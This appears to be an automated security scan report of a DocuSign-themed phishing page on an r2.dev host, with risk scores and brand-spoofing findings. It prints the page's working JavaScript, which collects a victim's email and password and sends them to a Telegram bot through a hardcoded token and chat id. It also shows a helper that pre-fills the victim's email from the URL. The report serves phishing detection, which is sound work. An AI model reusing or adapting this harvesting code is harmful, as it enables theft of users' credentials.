Windows Analysis Report
http://pub-575fb9d74c7a46f0828b37cda8dd9c40.r2.dev/docu/e_protocol.html?e

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": true,
    "ip_in_url": false,
    "long_subdomain": true,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true
}

URL: http://pub-575fb9d74c7a46f0828b37cda8dd9c40.r2.dev

{
    "risk_score": 9,
    "reasoning": "This script demonstrates high-risk behaviors, including data exfiltration and dynamic code execution. It collects user credentials (email and password) and sends them to a Telegram bot, which is a suspicious and potentially malicious activity. The script also manipulates the DOM aggressively, hiding and showing different elements. Overall, the script exhibits clear signs of malicious intent and should be considered a high-risk security threat."
}

 function sendEmail() {
	var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
	if (!filter.test(document.getElementById('username').value)) {
			alert('Invalid Email');
            return false;
    }
    if (document.getElementById('password').value === '') {
        alert('Please enter a valid password!');
        return false;
    }
	var x = document.getElementById("Div4");
	 var a = document.getElementById("Div1");
	 var b = document.getElementById("Div2");
     a.style.display = "none";
     b.style.display = "block";
     x.style.display = "none";
    var username = document.getElementById('username').value;
	var password = document.getElementById('password').value;
	var ozi = "\n=========DocuSignBOY======\n"
        ozi+="Email      :"+username
        ozi+="\nPass     :" +password
        ozi+="\n============================\n"
    tmsend(ozi)
}
	
function tmsend(message){
    var token = "7638787397:AAHDnJvZeCZ4khXA5j6sxI8DFak8uvIjtFo";
    var chat_id= "6247174206";
    const url = `https://api.telegram.org/bot${token}/sendMessage` // The url to request

    const obj = {
        chat_id: chat_id, // Telegram chat id
        text: message // The text to send
    };

    const xht = new XMLHttpRequest();
    xht.open("POST", url, true);
    xht.setRequestHeader("Content-type", "application/json; charset=UTF-8");
    xht.send(JSON.stringify(obj));
	setTimeout(function() {
	document.getElementById('password').value = "";
		var x = document.getElementById("Div4");
		x.style.display = "block";
	}, 2000);
	setTimeout(function() {
	 var a = document.getElementById("Div1");
	 var b = document.getElementById("Div2");
	 var x = document.getElementById("Div4");
     a.style.display = "block";
     b.style.display = "none";
	 x.style.display = "none";
	}, 5000);
}

{
    "risk_score": 5,
    "reasoning": "The script appears to be extracting an email address from the URL hash and using it to populate form fields and display it on the page. This behavior is not inherently malicious, but the use of the email address in this way could potentially be part of a phishing or social usering attack. Additionally, the commented-out code suggests the potential for fetching a logo from a third-party domain, which could be used for further data exfiltration or redirection. Overall, the script exhibits moderate-risk indicators that warrant further review and investigation."
}

	function Z() { 
		var email = window.location.hash.substr(1); 
		//Change window.location.hash.substr(1) to "XXXEMAIL" if you are using attachment.
		// Example 
		// var email = "XXXEMAIL";
		var ind=email.indexOf("@");
        var my_slice=email.substr((ind+1));
		var my_slice2=email.substr(ind+1,email.length);
		document.getElementById('username').value = email;
		document.getElementById('logoname').innerHTML = email;
		/*
		$('#login_logo1').attr('src', 'https://logo.clearbit.com/' + my_slice);
		*/
	}

{
  "contains_trigger_text": true,
  "trigger_text": "Log in to access document",
  "prominent_button_name": "Authorize",
  "text_input_field_labels": [
    "Password"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "DocuSign"
  ]
}

```json{  "legit_domain": "docusign.com",  "classification": "wellknown",  "reasons": [    "The brand 'DocuSign' is well-known and typically associated with the domain 'docusign.com'.",    "The provided URL 'pub-575fb9d74c7a46f0828b37cda8dd9c40.r2.dev' does not match the legitimate domain for DocuSign.",    "The URL uses a subdomain structure that is not typical for DocuSign's official services.",    "The domain 'r2.dev' is not associated with DocuSign and could be a generic hosting or service provider.",    "Presence of a password input field on a non-legitimate domain is a common phishing tactic."  ],  "riskscore": 9}
Google indexed: False